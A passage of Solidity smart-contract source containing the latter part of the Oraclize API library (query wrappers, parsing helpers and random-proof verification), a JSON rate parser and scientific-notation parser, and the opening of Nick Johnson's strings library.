function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) view internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
// parseInt
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
// parseInt(parseFloat*10^_b)
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
// Convert from seconds to ledger timer ticks
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
// the following variables can be relaxed
// check relaxed random contract under ethereum-examples repo
// for an idea on how to override and replace comit hash vars
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
// Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH)
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1); //role
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
// Step 7: verify the APPKEY1 provenance (must be signed by Ledger)
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
// Step 2: the unique keyhash has to match with the sha256 of (context name + queryId)
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(context_name, queryId)))))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
// Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1)
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
// Step 4: commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage.
// This is to verify that the computed args match with the ones specified in the query.
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))){ //unonce, nbytes and sessionKeyHash match
delete oraclize_randomDS_args[queryId];
} else return false;
// Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey)
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
// verify if sessionPubkeyHash was verified already, if not.. let's do it!
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
// Buffer too small
require(to.length >= minLength); // Should be a better way?
// NOTE: the offset 32 is added to skip the `size` field of both bytes variables
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
// Duplicate Solidity's ecrecover, but catching the CALL return value
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
// We do our own memory management here. Solidity uses memory offset
// 0x40 to store the current end of memory. We write past it (as
// writes are memory extensions), but don't update the offset so
// Solidity will reuse it. The memory used here is only needed for
// this context.
// FIXME: inline assembly can't access return values
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
// NOTE: we can reuse the request memory because we deal with
// the return code
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
// The signature format is a compact form of:
// {bytes32 r}{bytes32 s}{uint8 v}
// Compact means, uint8 is not padded to 32 bytes.
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
// Here we are loading the last 32 bytes. We exploit the fact that
// 'mload' will pad with zeroes if we overread.
// There is no 'mload8' to do this, but that would be nicer.
v := byte(0, mload(add(sig, 96)))
// Alternative solution:
// 'byte' is not working due to the Solidity parser, so lets
// use the second best option, 'and'
// v := and(mload(add(sig, 65)), 255)
}
// albeit non-transactional signatures are not specified by the YP, one would expect it
// to match the YP range of [27, 28]
//
// geth uses [0, 1] and some clients have followed. This might change, see:
// https://github.com/ethereum/go-ethereum/issues/2053
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
// </ORACLIZE_API>
/// @title JSON provides JSON parsing functionality.
contract JSON is usingOraclize{
using strings for *;
bytes32 constant private prefixHash = keccak256("{\"ETH\":");
/// @dev Extracts JSON rate value from the response object.
/// @param _json body of the JSON response from the CryptoCompare API.
function parseRate(string _json) public pure returns (string) {
uint json_len = abi.encodePacked(_json).length;
//{"ETH":}.length = 8, assuming a (maximum of) 18 digit prevision
require(json_len > 8 && json_len <= 28, "misformatted input");
bytes memory jsonPrefix = new bytes(7);
copyBytes(abi.encodePacked(_json), 0, 7, jsonPrefix, 0);
require(keccak256(jsonPrefix) == prefixHash, "prefix mismatch");
strings.slice memory body = _json.toSlice();
body.split(":".toSlice()); //we are sure that ':' is included in the string, body now contains the rate+'}'
json_len = body._len;
body.until("}".toSlice());
require(body._len == json_len-1,"not json format"); //ensure that the json is properly terminated with a '}'
return body.toString();
}
}
/// @title ParseIntScientific provides floating point in scientific notation (e.g. e-5) parsing functionality.
contract ParseIntScientific {
using SafeMath for uint256;
byte constant private PLUS_ASCII = byte(43); //decimal value of '+'
byte constant private DASH_ASCII = byte(45); //decimal value of '-'
byte constant private DOT_ASCII = byte(46); //decimal value of '.'
byte constant private ZERO_ASCII = byte(48); //decimal value of '0'
byte constant private NINE_ASCII = byte(57); //decimal value of '9'
byte constant private E_ASCII = byte(69); //decimal value of 'E'
byte constant private e_ASCII = byte(101); //decimal value of 'e'
/// @dev ParseIntScientific delegates the call to _parseIntScientific(string, uint) with the 2nd argument being 0.
function _parseIntScientific(string _inString) internal pure returns (uint) {
return _parseIntScientific(_inString, 0);
}
/// @dev ParseIntScientificWei parses a rate expressed in ETH and returns its wei denomination
function _parseIntScientificWei(string _inString) internal pure returns (uint) {
return _parseIntScientific(_inString, 18);
}
/// @dev ParseIntScientific parses a JSON standard - floating point number.
/// @param _inString is input string.
/// @param _magnitudeMult multiplies the number with 10^_magnitudeMult.
function _parseIntScientific(string _inString, uint _magnitudeMult) internal pure returns (uint) {
bytes memory inBytes = bytes(_inString);
uint mint = 0; // the final uint returned
uint mintDec = 0; // the uint following the decimal point
uint mintExp = 0; // the exponent
uint decMinted = 0; // how many decimals were 'minted'.
uint expIndex = 0; // the position in the byte array that 'e' was found (if found)
bool integral = false; // indicates the existence of the integral part, it should always exist (even if 0) e.g. 'e+1' or '.1' is not valid
bool decimals = false; // indicates a decimal number, set to true if '.' is found
bool exp = false; // indicates if the number being parsed has an exponential representation
bool minus = false; // indicated if the exponent is negative
bool plus = false; // indicated if the exponent is positive
for (uint i = 0; i < inBytes.length; i++) {
if ((inBytes[i] >= ZERO_ASCII) && (inBytes[i] <= NINE_ASCII) && (!exp)) {
// 'e' not encountered yet, minting integer part or decimals
if (decimals) {
// '.' encountered
//use safeMath in case there is an overflow
mintDec = mintDec.mul(10);
mintDec = mintDec.add(uint(inBytes[i]) - uint(ZERO_ASCII));
decMinted++; //keep track of the #decimals
} else {
// integral part (before '.')
integral = true;
//use safeMath in case there is an overflow
mint = mint.mul(10);
mint = mint.add(uint(inBytes[i]) - uint(ZERO_ASCII));
}
} else if ((inBytes[i] >= ZERO_ASCII) && (inBytes[i] <= NINE_ASCII) && (exp)) {
//exponential notation (e-/+) has been detected, mint the exponent
mintExp = mintExp.mul(10);
mintExp = mintExp.add(uint(inBytes[i]) - uint(ZERO_ASCII));
} else if (inBytes[i] == DOT_ASCII) {
//an integral part before should always exist before '.'
require(integral, "missing integral part");
// an extra decimal point makes the format invalid
require(!decimals, "duplicate decimal point");
//the decimal point should always be before the exponent
require(!exp, "decimal after exponent");
decimals = true;
} else if (inBytes[i] == DASH_ASCII) {
// an extra '-' should be considered an invalid character
require(!minus, "duplicate -");
require(!plus, "extra sign");
require(expIndex + 1 == i, "- sign not immediately after e");
minus = true;
} else if (inBytes[i] == PLUS_ASCII) {
// an extra '+' should be considered an invalid character
require(!plus, "duplicate +");
require(!minus, "extra sign");
require(expIndex + 1 == i, "+ sign not immediately after e");
plus = true;
} else if ((inBytes[i] == E_ASCII) || (inBytes[i] == e_ASCII)) {
//an integral part before should always exist before 'e'
require(integral, "missing integral part");
// an extra 'e' or 'E' should be considered an invalid character
require(!exp, "duplicate exponent symbol");
exp = true;
expIndex = i;
} else {
revert("invalid digit");
}
}
if (minus || plus) {
// end of string e[x|-] without specifying the exponent
require(i > expIndex + 2);
} else if (exp) {
// end of string (e) without specifying the exponent
require(i > expIndex + 1);
}
if (minus) {
// e^(-x)
if (mintExp >= _magnitudeMult) {
// the (negative) exponent is bigger than the given parameter for "shifting left".
// use integer division to reduce the precision.
require(mintExp - _magnitudeMult < 78, "exponent > 77"); //
mint /= 10 ** (mintExp - _magnitudeMult);
return mint;
} else {
// the (negative) exponent is smaller than the given parameter for "shifting left".
//no need for underflow check
_magnitudeMult = _magnitudeMult - mintExp;
}
} else {
// e^(+x), positive exponent or no exponent
// just shift left as many times as indicated by the exponent and the shift parameter
_magnitudeMult = _magnitudeMult.add(mintExp);
}
if (_magnitudeMult >= decMinted) {
// the decimals are fewer or equal than the shifts: use all of them
// shift number and add the decimals at the end
// include decimals if present in the original input
require(decMinted < 78, "more than 77 decimal digits parsed"); //
mint = mint.mul(10 ** (decMinted));
mint = mint.add(mintDec);
//// add zeros at the end if the decimals were fewer than #_magnitudeMult
require(_magnitudeMult - decMinted < 78, "exponent > 77"); //
mint = mint.mul(10 ** (_magnitudeMult - decMinted));
} else {
// the decimals are more than the #_magnitudeMult shifts
// use only the ones needed, discard the rest
decMinted -= _magnitudeMult;
require(decMinted < 78, "more than 77 decimal digits parsed"); //
mintDec /= 10 ** (decMinted);
// shift number and add the decimals at the end
require(_magnitudeMult < 78, "more than 77 decimal digits parsed"); //
mint = mint.mul(10 ** (_magnitudeMult));
mint = mint.add(mintDec);
}
return mint;
}
}
/*
* Copyright 2016 Nick Johnson
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* @title String & slice utility library for Solidity contracts.
* @author Nick Johnson <arachnid@notdot.net>
*
* @dev Functionality in this library is largely implemented using an
* abstraction called a 'slice'. A slice represents a part of a string -
* anything from the entire string to a single character, or even no
* characters at all (a 0-length slice). Since a slice only has to specify
* an offset and a length, copying and manipulating slices is a lot less
* expensive than copying and manipulating the strings they reference.
*
* To further reduce gas costs, most functions on slice that need to return
* a slice modify the original one instead of allocating a new one; for
* instance, `s.split(".")` will return the text up to the first '.',
* modifying s to only contain the remainder of the string after the '.'.
* In situations where you do not want to modify the original slice, you
* can make a copy first with `.copy()`, for example:
* `s.copy().split(".")`. Try and avoid using this idiom in loops; since
* Solidity has no memory management, it will result in allocating many
* short-lived slices that are later discarded.
*
* Functions that return two slices come in two versions: a non-allocating
* version that takes the second slice as an argument, modifying it in
* place, and an allocating version that allocates and returns the second
* slice; see `nextRune` for example.
*
* Functions that have to copy string data will return strings rather than
* slices; these can be cast back to slices for further processing if
* required.
*
* For convenience, some functions are provided with non-modifying
* variants that create a new slice and return both; for instance,
* `s.splitNew('.')` leaves s unmodified, and returns two values
* corresponding to the left and right parts of the string.
*/
library strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private pure {
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
* @dev Returns a slice containing the entire string.
* @param self The string to make a slice from.
* @return A newly allocated slice containing the entire string.
*/
function toSlice(string memory self) internal pure returns (slice memory) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
/*
* @dev Returns the length of a null-terminated bytes32 string.
* @param self The value to find the length of.
* @return The length of the string, from 0 to 32.
*/
function len(bytes32 self) internal pure returns (uint) {
uint ret;
if (self == 0)
return 0;
if (self & 0xffffffffffffffffffffffffffffffff == 0) {
ret += 16;
self = bytes32(uint(self) / 0x100000000000000000000000000000000);
}
if (self & 0xffffffffffffffff == 0) {
ret += 8;
self = bytes32(uint(self) / 0x10000000000000000);
}
if (self & 0xffffffff == 0) {
ret += 4;
self = bytes32(uint(self) / 0x100000000);
}
if (self & 0xffff == 0) {
ret += 2;
self = bytes32(uint(self) / 0x10000);
}
if (self & 0xff == 0) {
ret += 1;
}
return 32 - ret;
}
/*
* @dev Returns a slice containing the entire bytes32, interpreted as a
* null-terminated utf-8 string.
* @param self The bytes32 value to convert to a slice.
* @return A new slice containing the value of the input argument up to the
* first null.
*/
function toSliceB32(bytes32 self) internal pure returns (slice memory ret) {
// Allocate space for `self` in memory, copy it there, and point ret at it
assembly {
let ptr := mload(0x40)
mstore(0x40, add(ptr, 0x20))
mstore(ptr, self)
mstore(add(ret, 0x20), ptr)
}
ret._len = len(self);
}
/*
* @dev Returns a new slice containing the same data as the current slice.
* @param self The slice to copy.
* @return A new slice containing the same data as `self`.
*/
function copy(slice memory self) internal pure returns (slice memory) {
return slice(self._len, self._ptr);
}
/*
* @dev Copies a slice to a new string.
* @param self The slice to copy.
* @return A newly allocated string containing the slice's text.
*/
function toString(slice memory self) internal pure returns (string memory) {
string memory ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
/*
* @dev Returns the length in runes of the slice. Note that this operation
* takes time proportional to the length of the slice; avoid using it
* in loops, and call `slice.empty()` if you only need to know whether
* the slice is empty or not.
* @param self The slice to operate on.
* @return The length of the slice in runes.
*/
function len(slice memory self) internal pure returns (uint l) {
// Starting at ptr-31 means the LSB will be the byte we care about
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
/*
* @dev Returns true if the slice is empty (has a length of 0).
* @param self The slice to operate on.
* @return True if the slice is empty, False otherwise.
*/
function empty(slice memory self) internal pure returns (bool) {
return self._len == 0;
}
/*
* @dev Returns a positive number if `other` comes lexicographically after
* `self`, a negative number if it comes before, or zero if the
* contents of the two slices are equal. Comparison is done per-rune,
* on unicode codepoints.
* @param self The first slice to compare.
* @param other The second slice to compare.
* @return The result of the comparison.
*/
function compare(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant bytes and check again
uint256 mask = uint256(-1); // 0xffff...
if(shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
/*
* @dev Returns true if the two slices contain the same text.
* @param self The first slice to compare.
* @param self The second slice to compare.
* @return True if the slices are equal, false otherwise.
*/
function equals(slice memory self, slice memory other) internal pure returns (bool) {
return compare(self, other) == 0;
}
/*
* @dev Extracts the first rune in the slice into `rune`, advancing the
* slice to point to the next rune and returning `self`.
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `rune`.
*/
function nextRune(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
l = 1;
} else if(b < 0xE0) {
l = 2;
} else if(b < 0xF0) {
l = 3;
} else {
l = 4;
}
// Check for truncated codepoints
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
/*
* @dev Returns the first rune in the slice, advancing the slice to point
* to the next rune.
* @param self The slice to operate on.
* @return A slice containing only the first rune from `self`.
*/
function nextRune(slice memory self) internal pure returns (slice memory ret) {
nextRune(self, ret);
}
/*
* @dev Returns the number of the first codepoint in the slice.
* @param self The slice to operate on.
* @return The number of the first codepoint in the slice.
*/
function ord(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
// Check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
/*
* @dev Returns the keccak-256 hash of the slice.
* @param self The slice to hash.
* @return The hash of the slice.
*/
function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
/*
* @dev Returns true if `self` starts with `needle`.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return True if the slice starts with the provided text, false otherwise.
*/
function startsWith(slice memory self, slice memory needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
if (self._ptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
